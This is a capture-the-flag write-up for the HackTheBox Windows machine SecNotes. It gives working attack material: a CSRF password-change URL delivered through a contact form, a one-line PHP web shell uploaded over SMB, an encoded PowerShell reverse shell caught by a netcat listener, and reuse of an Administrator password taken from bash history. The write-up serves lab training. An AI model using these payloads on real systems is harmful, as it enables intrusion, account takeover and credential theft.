Skip to content

SecNotes Writeup - HackTheBox

Medium Windows
Mohammad Meraj

Independent Security Researcher

SecNotes is a Windows box running a notes application on IIS. The chain runs: a self-registered account that leaks an internal contact, a password change endpoint that takes no current password over GET, a CSRF link delivered through the contact form to take over that account, SMB credentials stored in the victim's notes, a PHP web shell written to a writable share that IIS serves on port 8808, and finally the Administrator password sitting in the root bash history of a WSL install under the user profile.

Reconnaissance

Port scan

┌──(kali㉿kali)-[~]
└─$ rustscan -a $TARGET_IP
Open $TARGET_IP:80
Open $TARGET_IP:445
Open $TARGET_IP:8808
Explain command
-a $TARGET_IP Address to sweep for open ports across the full range.

Three ports only, which keeps the surface small: HTTP on 80, SMB on 445, and a second HTTP service on 8808. Version detection tells which stack sits behind them.

Service and version detection

┌──(kali㉿kali)-[~]
└─$ nmap -sCV -T4 -p80,445,8808 $TARGET_IP -oA nmap/nmap
PORT     STATE SERVICE      VERSION
80/tcp   open  http         Microsoft IIS httpd 10.0
|_http-title: Secure Notes - Login
|_Requested resource was login.php
445/tcp  open  microsoft-ds Windows 10 Enterprise 17134 microsoft-ds (workgroup: HTB)
8808/tcp open  http         Microsoft IIS httpd 10.0
|_http-title: IIS Windows

Host script results:
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|_  message_signing: disabled (dangerous, but default)
| smb-os-discovery:
|   OS: Windows 10 Enterprise 17134 (Windows 10 Enterprise 6.3)
|   Computer name: SECNOTES
|_  Workgroup: HTB
Explain command
-sCV Run the default script set and probe service versions.
-T4 Faster timing template, safe against a lab target.
-p80,445,8808 Limit the scan to the ports rustscan already found open.

Port 80 serves a Secure Notes login built on PHP, port 8808 serves a stock IIS page with no application on it, and SMB reports a workgroup host named SECNOTES. An empty IIS instance next to an SMB service is a strong hint that one of the shares is the webroot for 8808, which only matters once there are credentials. The application on port 80 is the way in.

Enumeration

The notes application

Default credentials get nowhere on login.php, but the application allows self-registration, so registering an account is enough to see the authenticated surface. After login, http://$TARGET_IP/home.php offers New Note, Change Password, Sign Out, and Contact Us, plus a banner aimed at the users.

Due to GDPR, all users must delete any notes that contain Personally Identifiable Information (PII). Please contact tyler@secnotes.htb using the contact link below with any questions.

That names a real internal user, tyler, and the Contact Us form delivers messages to him. Two features that reach another user are worth testing against each other, starting with the password change.

Vulnerability Discovery

Password change without the current password

Proxying the Change Password action through Burp shows the whole operation as a single GET request that never asks for the existing password.

GET /change_pass.php?password=password&confirm_password=password&submit=submit HTTP/1.1
Host: $TARGET_IP
Cookie: PHPSESSID=fodf05130s9kurd6panr564b3a

A state changing action over GET, with no current password and no token, is cross-site request forgery in its simplest form. Anyone who opens that URL while logged in has their own password rewritten to whatever the query string says. The Contact Us form is the delivery channel, because it puts arbitrary text in front of tyler.

Exploitation

Taking over tyler through the contact form

http://$TARGET_IP/change_pass.php?password=password&confirm_password=password&submit=submit

Sending that link as the body of a Contact Us message gets it opened by tyler's session, and his password becomes password. Logging in as tyler with it shows his saved notes, one of which carries credentials for an SMB share.

New Site:
\\secnotes.htb\new-site
tyler / $TYLERS_PASSWORD

That is the link back to SMB and, by extension, to the idle IIS instance on 8808.

Share permissions

┌──(kali㉿kali)-[~]
└─$ smbmap -H $TARGET_IP -u tyler -p '$TYLERS_PASSWORD' -s new-site
Disk                 Permissions     Comment
----                 -----------     -------
ADMIN$               NO ACCESS       Remote Admin
C$                   NO ACCESS       Default share
IPC$                 READ ONLY       Remote IPC
new-site             READ, WRITE
Explain command
-H $TARGET_IP Host to enumerate shares on.
-u tyler Username to authenticate with.
-p '$TYLERS_PASSWORD' Password recovered from the note.
-s new-site Restrict the listing to the share of interest.

Write access on new-site and nothing on the administrative shares. Since IIS on 8808 serves a site with no content, dropping a file on the share and requesting it over HTTP tests whether the two are the same directory.

Web shell over SMB

<?php system($_GET['cmd']); ?>
┌──(kali㉿kali)-[~]
└─$ smbclient //$TARGET_IP/new-site -U tyler
Enter WORKGROUP\tyler's password:
Try "help" to get a list of possible commands.
smb: \> put shell.php
putting file shell.php as \shell.php
Explain command
-U tyler Authenticate as tyler instead of connecting anonymously.

Requesting the uploaded file on the second IIS instance confirms both the webroot assumption and code execution.

http://$TARGET_IP:8808/shell.php?cmd=whoami

It returns secnotes\tyler. A single parameter shell is enough to upgrade to an interactive one, so the next request carries a Base64 encoded PowerShell reverse shell, URL encoded into the same parameter.

Interactive shell

http://$TARGET_IP:8808/shell.php?cmd=powershell%20-e%20<base64-encoded-payload>
┌──(kali㉿kali)-[~]
└─$ nc -lvnp $ATTACKER_PORT
connect to [$ATTACKER_IP] from (UNKNOWN) [$TARGET_IP] 55052
whoami
secnotes\tyler
PS C:\inetpub\new-site>
Explain command
-l Listen for an incoming connection instead of dialing out.
-v Verbose output so the inbound connection is visible.
-n Skip DNS resolution on the connecting address.
-p $ATTACKER_PORT Local port the reverse shell connects back to.

Foothold as secnotes\tyler, running inside the IIS site directory.

Privilege Escalation

WSL on the host

PS C:\Users\Guest\Desktop> dir C:\
Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----        6/21/2018   3:07 PM                Distros
<snip>
-a----        6/21/2018   3:07 PM      201749452 Ubuntu.zip

A Distros folder and a 200 MB Ubuntu.zip at the root of the drive point at Windows Subsystem for Linux. The registry says which distribution is registered and where it lives.

PS C:\Users\Guest\Desktop> Get-ChildItem HKCU:\Software\Microsoft\Windows\CurrentVersion\Lxss | %{Get-ItemProperty $_.PSPath} | out-string -width 4096
DistributionName  : Ubuntu-18.04
BasePath          : C:\Users\tyler\AppData\Local\Packages\CanonicalGroupLimited.Ubuntu18.04onWindows_79rhkp1fndgsc\LocalState

A WSL distribution keeps its whole Linux filesystem under that path as ordinary NTFS files, so the Linux root home directory is readable from the Windows side without launching WSL at all. Shell history is the first thing to read there.

Administrator credentials in root bash history

PS C:\Users\Guest\Desktop> cd C:\Users\tyler\AppData\Local\Packages\CanonicalGroupLimited.Ubuntu18.04onWindows_79rhkp1fndgsc\LocalState\rootfs\root
PS C:\Users\Guest\Desktop> type .bash_history
cd /mnt/c/
<snip>
mount //127.0.0.1/c$ filesystem/ -o user=administrator
sudo apt install cifs-utils
<snip>
smbclient -U 'administrator%$ADMINISTRATORS_PASSWORD' \\\\127.0.0.1\\c$

Whoever set the box up mounted C$ from inside WSL and typed the local Administrator password on the command line, so it sits in the history in cleartext. The same command works against the target from the attacking machine.

┌──(kali㉿kali)-[~]
└─$ smbclient -U 'administrator%$ADMINISTRATORS_PASSWORD' \\\\$TARGET_IP\\c$
Try "help" to get a list of possible commands.
smb: \> cd Users\Administrator
smb: \Users\Administrator\> ls
  Desktop                            DR        0  Thu Jun 21 15:07:24 2018
  Documents                          DR        0  Thu Jun 21 15:07:24 2018
  Downloads                          DR        0  Thu Jun 21 15:07:24 2018
Explain command
-U 'administrator%$ADMINISTRATORS_PASSWORD' Authenticate as the local Administrator with the password from the history file.

Full read and write on C$ as Administrator. The box is done, with tyler as the user context and Administrator over SMB as the privileged one.

References